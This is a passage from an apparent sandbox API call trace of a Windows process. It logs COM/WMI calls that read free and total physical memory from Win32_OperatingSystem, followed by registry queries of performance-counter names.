riid=0x7ffb15d96528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9e2c0 | out: ppvObject=0x1da9e2c0*=0x1b2872e8) returned 0x0 [0296.938] IClientSecurity:SetBlanket (This=0x1b2872e8, pProxy=0x1b2872e0, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0296.939] IUnknown:Release (This=0x1b2872e8) returned 0x2 [0296.939] WbemLocator:IUnknown:Release (This=0x1b203398) returned 0x1 [0296.939] CoTaskMemFree (pv=0x1d1e6d80) [0296.939] IUnknown:QueryInterface (in: This=0x1b2872e0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9dd70 | out: ppvObject=0x1da9dd70*=0x1b203398) returned 0x0 [0296.939] WbemLocator:IUnknown:QueryInterface (in: This=0x1b203398, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1da9de00 | out: ppvObject=0x1da9de00*=0x0) returned 0x80004002 [0296.940] WbemLocator:IUnknown:QueryInterface (in: This=0x1b203398, riid=0x7ffb0293bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1da9da20 | out: ppvObject=0x1da9da20*=0x0) returned 0x80004002 [0296.940] IUnknown:QueryInterface (in: This=0x1b2872e0, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1da9d5f8 | out: ppvObject=0x1da9d5f8*=0x0) returned 0x80004002 [0296.941] WbemLocator:IUnknown:AddRef (This=0x1b203398) returned 0x3 [0296.941] WbemLocator:IUnknown:QueryInterface (in: This=0x1b203398, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1da9d4b8 | out: ppvObject=0x1da9d4b8*=0x0) returned 0x80004002 [0296.941] WbemLocator:IUnknown:QueryInterface (in: This=0x1b203398, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1da9d440 | out: ppvObject=0x1da9d440*=0x0) returned 0x80004002 [0296.941] WbemLocator:IUnknown:QueryInterface (in: This=0x1b203398, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9d430 | out: ppvObject=0x1da9d430*=0x1b203278) returned 0x0 [0296.941] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x1b203278, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1da9d458 | out: pCid=0x1da9d458*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0296.941] WbemLocator:IUnknown:Release (This=0x1b203278) returned 0x3 [0296.941] CoGetContextToken (in: pToken=0x1da9d4e0 | out: pToken=0x1da9d4e0) returned 0x0 [0296.941] CoGetContextToken (in: pToken=0x1da9d960 | out: pToken=0x1da9d960) returned 0x0 [0296.941] WbemLocator:IUnknown:QueryInterface (in: This=0x1b203398, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9da20 | out: ppvObject=0x1da9da20*=0x1b203360) returned 0x0 [0296.941] WbemLocator:IRpcOptions:Query (in: This=0x1b203360, pPrx=0x1b203398, dwProperty=2, pdwValue=0x1da9da10 | out: pdwValue=0x1da9da10) returned 0x80004002 [0296.941] WbemLocator:IUnknown:Release (This=0x1b203360) returned 0x3 [0296.941] WbemLocator:IUnknown:Release (This=0x1b203398) returned 0x2 [0296.941] CoGetContextToken (in: pToken=0x1da9e020 | out: pToken=0x1da9e020) returned 0x0 [0296.941] CoGetContextToken (in: pToken=0x1da9df20 | out: pToken=0x1da9df20) returned 0x0 [0296.941] WbemLocator:IUnknown:QueryInterface (in: This=0x1b203398, riid=0x1da9e080*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x1da9e050 | out: ppvObject=0x1da9e050*=0x1b2872e0) returned 0x0 [0296.941] IUnknown:AddRef (This=0x1b2872e0) returned 0x4 [0296.941] IUnknown:Release (This=0x1b2872e0) returned 0x3 [0296.941] IUnknown:Release (This=0x1b2872e0) returned 0x2 [0296.941] IUnknown:Release (This=0x1b287970) returned 0x2 [0296.941] SysStringLen (param_1=0x0) returned 0x0 [0296.941] IEnumWbemClassObject:Reset (This=0x1b2872e0) returned 0x0 [0296.942] CoTaskMemAlloc (cb=0x8) returned 0x1d1c0f30 [0296.942] IEnumWbemClassObject:Next (in: This=0x1b2872e0, lTimeout=-1, uCount=0x1, apObjects=0x1d1c0f30, puReturned=0x27e8708 | out: apObjects=0x1d1c0f30*=0x1b269a20, puReturned=0x27e8708*=0x1) returned 0x0 [0296.946] IUnknown:QueryInterface (in: This=0x1b269a20, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9d910 | out: ppvObject=0x1da9d910*=0x1b269a20) returned 0x0 [0296.946] IUnknown:QueryInterface (in: This=0x1b269a20, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1da9d9a0 | out: ppvObject=0x1da9d9a0*=0x0) returned 0x80004002 [0296.946] IUnknown:QueryInterface (in: This=0x1b269a20, riid=0x7ffb0293bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1da9d5c0 | out: ppvObject=0x1da9d5c0*=0x0) returned 0x80004002 [0296.946] IUnknown:QueryInterface (in: This=0x1b269a20, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1da9d198 | out: ppvObject=0x1da9d198*=0x0) returned 0x80004002 [0296.946] IUnknown:AddRef (This=0x1b269a20) returned 0x3 [0296.946] IUnknown:QueryInterface (in: This=0x1b269a20, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1da9d058 | out: ppvObject=0x1da9d058*=0x0) returned 0x80004002 [0296.946] IUnknown:QueryInterface (in: This=0x1b269a20, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1da9cfe0 | out: ppvObject=0x1da9cfe0*=0x0) returned 0x80004002 [0296.946] IUnknown:QueryInterface (in: This=0x1b269a20, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9cfd0 | out: ppvObject=0x1da9cfd0*=0x1b269a28) returned 0x0 [0296.946] IMarshal:GetUnmarshalClass (in: This=0x1b269a28, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1da9cff8 | out: pCid=0x1da9cff8*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0296.946] IUnknown:Release (This=0x1b269a28) returned 0x3 [0296.946] CoGetContextToken (in: pToken=0x1da9d080 | out: pToken=0x1da9d080) returned 0x0 [0296.946] CoGetContextToken (in: pToken=0x1da9d500 | out: pToken=0x1da9d500) returned 0x0 [0296.947] IUnknown:QueryInterface (in: This=0x1b269a20, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9d5c0 | out: ppvObject=0x1da9d5c0*=0x0) returned 0x80004002 [0296.947] IUnknown:Release (This=0x1b269a20) returned 0x2 [0296.947] CoGetContextToken (in: pToken=0x1da9dbc0 | out: pToken=0x1da9dbc0) returned 0x0 [0296.947] CoGetContextToken (in: pToken=0x1da9dac0 | out: pToken=0x1da9dac0) returned 0x0 [0296.947] IUnknown:QueryInterface (in: This=0x1b269a20, riid=0x1da9dc20*(Data1=0xdc12a681, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1da9dbf0 | out: ppvObject=0x1da9dbf0*=0x1b269a20) returned 0x0 [0296.947] IUnknown:AddRef (This=0x1b269a20) returned 0x4 [0296.947] IUnknown:Release (This=0x1b269a20) returned 0x3 [0296.947] IUnknown:Release (This=0x1b269a20) returned 0x2 [0296.947] CoTaskMemFree (pv=0x1d1c0f30) [0296.947] CoGetContextToken (in: pToken=0x1da9df90 | out: pToken=0x1da9df90) returned 0x0 [0296.947] IUnknown:AddRef (This=0x1b269a20) returned 0x3 [0296.947] IWbemClassObject:Get (in: This=0x1b269a20, wszName="__GENUS", lFlags=0, pVal=0x1da9e550*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1da9e678*=0, plFlavor=0x1da9e670*=0 | out: pVal=0x1da9e550*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x1da9e678*=3, plFlavor=0x1da9e670*=64) returned 0x0 [0296.947] IWbemClassObject:Get (in: This=0x1b269a20, wszName="__PATH", lFlags=0, pVal=0x1da9e500*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1da9e630*=0, plFlavor=0x1da9e628*=0 | out: pVal=0x1da9e500*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\XC64ZB\\ROOT\\cimv2:Win32_OperatingSystem.CSName=\"XC64ZB\"", varVal2=0x0), pType=0x1da9e630*=8, plFlavor=0x1da9e628*=64) returned 0x0 [0296.948] SysStringByteLen (bstr="\\\\XC64ZB\\ROOT\\cimv2:Win32_OperatingSystem.CSName=\"XC64ZB\"") returned 0x72 [0296.948] SysStringByteLen (bstr="\\\\XC64ZB\\ROOT\\cimv2:Win32_OperatingSystem.CSName=\"XC64ZB\"") returned 0x72 [0296.948] CoGetObjectContext (in: riid=0x22967c0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1da9e578 | out: ppv=0x1da9e578*=0x77dd58) returned 0x0 [0296.948] IComThreadingInfo:GetCurrentApartmentType (in: This=0x77dd58, pAptType=0x1da9e568 | out: pAptType=0x1da9e568*=1) returned 0x0 [0296.948] IUnknown:QueryInterface (in: This=0x77dd58, riid=0x22967a0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1da9e570 | out: ppvObject=0x1da9e570*=0x0) returned 0x80004002 [0296.948] IUnknown:Release (This=0x77dd58) returned 0x1 [0296.949] CoGetClassObject (in: rclsid=0x1b1c9aa8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffb02962d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1da9d968 | out: ppv=0x1da9d968*=0x1d218290) returned 0x0 [0296.949] WbemDefPath:IUnknown:QueryInterface (in: This=0x1d218290, riid=0x7ffb029856a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1da9da50 | out: ppvObject=0x1da9da50*=0x0) returned 0x80004002 [0296.949] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1d218290, pUnkOuter=0x0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9da28 | out: ppvObject=0x1da9da28*=0x1b292ea0) returned 0x0 [0296.949] WbemDefPath:IUnknown:Release (This=0x1d218290) returned 0x0 [0296.949] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b292ea0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9d7d0 | out: ppvObject=0x1da9d7d0*=0x1b292ea0) returned 0x0 [0296.950] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b292ea0, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1da9d860 | out: ppvObject=0x1da9d860*=0x0) returned 0x80004002 [0296.950] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b292ea0, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1da9d058 | out: ppvObject=0x1da9d058*=0x0) returned 0x80004002 [0296.950] WbemDefPath:IUnknown:AddRef (This=0x1b292ea0) returned 0x3 [0296.950] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b292ea0, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1da9cf18 | out: ppvObject=0x1da9cf18*=0x0) returned 0x80004002 [0296.950] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b292ea0, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1da9cea0 | out: ppvObject=0x1da9cea0*=0x0) returned 0x80004002 [0296.950] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b292ea0, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9ce90 | out: ppvObject=0x1da9ce90*=0x1d218030) returned 0x0 [0296.950] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1d218030, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1da9ceb8 | out: pCid=0x1da9ceb8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0296.950] WbemDefPath:IUnknown:Release (This=0x1d218030) returned 0x3 [0296.950] CoGetContextToken (in: pToken=0x1da9cf40 | out: pToken=0x1da9cf40) returned 0x0 [0296.950] CoGetContextToken (in: pToken=0x1da9d3c0 | out: pToken=0x1da9d3c0) returned 0x0 [0296.950] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b292ea0, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9d480 | out: ppvObject=0x1da9d480*=0x0) returned 0x80004002 [0296.950] WbemDefPath:IUnknown:Release (This=0x1b292ea0) returned 0x2 [0296.950] WbemDefPath:IUnknown:Release (This=0x1b292ea0) returned 0x1 [0296.950] CoGetContextToken (in: pToken=0x1da9e1b0 | out: pToken=0x1da9e1b0) returned 0x0 [0296.950] CoGetContextToken (in: pToken=0x1da9e0b0 | out: pToken=0x1da9e0b0) returned 0x0 [0296.950] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b292ea0, riid=0x1da9e210*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1da9e1e0 | out: ppvObject=0x1da9e1e0*=0x1b292ea0) returned 0x0 [0296.950] WbemDefPath:IUnknown:AddRef (This=0x1b292ea0) returned 0x3 [0296.950] WbemDefPath:IUnknown:Release (This=0x1b292ea0) returned 0x2 [0296.950] WbemDefPath:IWbemPath:SetText (This=0x1b292ea0, uMode=0x4, pszPath="\\\\XC64ZB\\ROOT\\cimv2:Win32_OperatingSystem.CSName=\"XC64ZB\"") returned 0x0 [0296.951] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b2949a0, puCount=0x1da9e598 | out: puCount=0x1da9e598*=0x2) returned 0x0 [0296.951] WbemDefPath:IWbemPath:GetText (in: This=0x1b2949a0, lFlags=4, puBuffLength=0x1da9e590*=0x0, pszText=0x0 | out: puBuffLength=0x1da9e590*=0xf, pszText=0x0) returned 0x0 [0296.951] WbemDefPath:IWbemPath:GetText (in: This=0x1b2949a0, lFlags=4, puBuffLength=0x1da9e590*=0xf, pszText="00000000000000" | out: puBuffLength=0x1da9e590*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0296.951] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b2949a0, puCount=0x1da9e568 | out: puCount=0x1da9e568*=0x2) returned 0x0 [0296.951] WbemDefPath:IWbemPath:GetText (in: This=0x1b2949a0, lFlags=4, puBuffLength=0x1da9e560*=0x0, pszText=0x0 | out: puBuffLength=0x1da9e560*=0xf, pszText=0x0) returned 0x0 [0296.951] WbemDefPath:IWbemPath:GetText (in: This=0x1b2949a0, lFlags=4, puBuffLength=0x1da9e560*=0xf, pszText="00000000000000" | out: puBuffLength=0x1da9e560*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0296.951] IWbemClassObject:Get (in: This=0x1b269a20, wszName="FreePhysicalMemory", lFlags=0, pVal=0x1da9e520*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27e94d0*=0, plFlavor=0x27e94d4*=0 | out: pVal=0x1da9e520*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="1359840", varVal2=0x0), pType=0x27e94d0*=21, plFlavor=0x27e94d4*=0) returned 0x0 [0296.951] SysStringByteLen (bstr="1359840") returned 0xe [0296.951] SysStringByteLen (bstr="1359840") returned 0xe [0296.951] IWbemClassObject:Get (in: This=0x1b269a20, wszName="FreePhysicalMemory", lFlags=0, pVal=0x1da9e570*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27e94d0*=21, plFlavor=0x27e94d4*=0 | out: pVal=0x1da9e570*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="1359840", varVal2=0x0), pType=0x27e94d0*=21, plFlavor=0x27e94d4*=0) returned 0x0 [0296.951] SysStringByteLen (bstr="1359840") returned 0xe [0296.951] SysStringByteLen (bstr="1359840") returned 0xe [0296.951] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b2949a0, puCount=0x1da9e568 | out: puCount=0x1da9e568*=0x2) returned 0x0 [0296.951] WbemDefPath:IWbemPath:GetText (in: This=0x1b2949a0, lFlags=4, puBuffLength=0x1da9e560*=0x0, pszText=0x0 | out: puBuffLength=0x1da9e560*=0xf, pszText=0x0) returned 0x0 [0296.951] WbemDefPath:IWbemPath:GetText (in: This=0x1b2949a0, lFlags=4, puBuffLength=0x1da9e560*=0xf, pszText="00000000000000" | out: puBuffLength=0x1da9e560*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0296.952] IWbemClassObject:Get (in: This=0x1b269a20, wszName="TotalVisibleMemorySize", lFlags=0, pVal=0x1da9e520*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27e96c8*=0, plFlavor=0x27e96cc*=0 | out: pVal=0x1da9e520*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="2096620", varVal2=0x0), pType=0x27e96c8*=21, plFlavor=0x27e96cc*=0) returned 0x0 [0296.952] SysStringByteLen (bstr="2096620") returned 0xe [0296.952] SysStringByteLen (bstr="2096620") returned 0xe [0296.952] IWbemClassObject:Get (in: This=0x1b269a20, wszName="TotalVisibleMemorySize", lFlags=0, pVal=0x1da9e570*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27e96c8*=21, plFlavor=0x27e96cc*=0 | out: pVal=0x1da9e570*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="2096620", varVal2=0x0), pType=0x27e96c8*=21, plFlavor=0x27e96cc*=0) returned 0x0 [0296.952] SysStringByteLen (bstr="2096620") returned 0xe [0296.952] SysStringByteLen (bstr="2096620") returned 0xe [0296.952] CoGetContextToken (in: pToken=0x1da9e370 | out: pToken=0x1da9e370) returned 0x0 [0296.952] WbemLocator:IUnknown:Release (This=0x1b203398) returned 0x1 [0296.952] IUnknown:Release (This=0x1b2872e0) returned 0x0 [0298.961] GetTickCount64 () returned 0x1ac736c [0298.962] RegQueryValueExW (in: hKey=0xffffffff80000004, lpValueName="238", lpReserved=0x0, lpType=0x1da9e428, lpData=0x0, lpcbData=0x1da9e420*=0x0 | out: lpType=0x1da9e428*=0x3, lpData=0x0, lpcbData=0x1da9e420*=0x0) returned 0xea [0298.962] RegQueryValueExW (in: hKey=0xffffffff80000004, lpValueName="238", lpReserved=0x0, lpType=0x1da9e428, lpData=0x26dcd78, lpcbData=0x1da9e418*=0xfde8 | out: lpType=0x1da9e428*=0x3, lpData=0x26dcd78*, lpcbData=0x1da9e418*=0x438) returned 0x0 [0298.964] RegQueryValueExW (in: hKey=0xffffffff80000004, lpValueName="234", lpReserved=0x0, lpType=0x1da9e428, lpData=0x0, lpcbData=0x1da9e420*=0x0 | out: lpType=0x1da9e428*=0x3, lpData=0x0, lpcbData=0x1da9e420*=0x0) returned 0xea [0298.964] RegQueryValueExW (in: hKey=0xffffffff80000004, lpValueName="234", lpReserved=0x0, lpType=0x1da9e428, lpData=0x26ee190, lpcbData=0x1da9e418*=0xfde8 | out: lpType=0x1da9e428*=0x3, lpData=0x26ee190*, lpcbData=0x1da9e418*=0xea8) returned 0x0 [0298.968] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b2949a0, puCount=0x1da9e6f8 | out: puCount=0x1da9e6f8*=0x2) returned 0x0 [0298.968] WbemDefPath:IWbemPath:GetText (in: This=0x1b2949a0, lFlags=4, puBuffLength=0x1da9e6f0*=0x0, pszText=0x0 | out: puBuffLength=0x1da9e6f0*=0xf, pszText=0x0) returned 0x0 [0298.968] WbemDefPath:IWbemPath:GetText (in: This=0x1b2949a0, lFlags=4, puBuffLength=0x1da9e6f0*=0xf, pszText="00000000000000" | out: puBuffLength=0x1da9e6f0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0298.968] CoGetObjectContext (in: riid=0x22967c0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1da9e678 | out: ppv=0x1da9e678*=0x77dd58) returned 0x0 [0298.969] IComThreadingInfo:GetCurrentApartmentType (in: This=0x77dd58, pAptType=0x1da9e668 | out: pAptType=0x1da9e668*=1) returned 0x0 [0298.969] IUnknown:QueryInterface (in: This=0x77dd58, riid=0x22967a0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1da9e670 | out: ppvObject=0x1da9e670*=0x0) returned 0x80004002 [0298.969] IUnknown:Release (This=0x77dd58) returned 0x1 [0298.970] CoGetClassObject (in: rclsid=0x1b1c9c68*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffb02962d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1da9dd38 | out: ppv=0x1da9dd38*=0x1d218410) returned 0x0 [0298.970] WbemLocator:IUnknown:QueryInterface (in: This=0x1d218410, riid=0x7ffb029856a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1da9de20 | out: ppvObject=0x1da9de20*=0x0) returned 0x80004002 [0298.970] WbemLocator:IClassFactory:CreateInstance (in: This=0x1d218410, pUnkOuter=0x0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9ddf8 | out: ppvObject=0x1da9ddf8*=0x1d218590) returned 0x0 [0298.970] WbemLocator:IUnknown:Release (This=0x1d218410) returned 0x0 [0298.970] WbemLocator:IUnknown:QueryInterface (in: 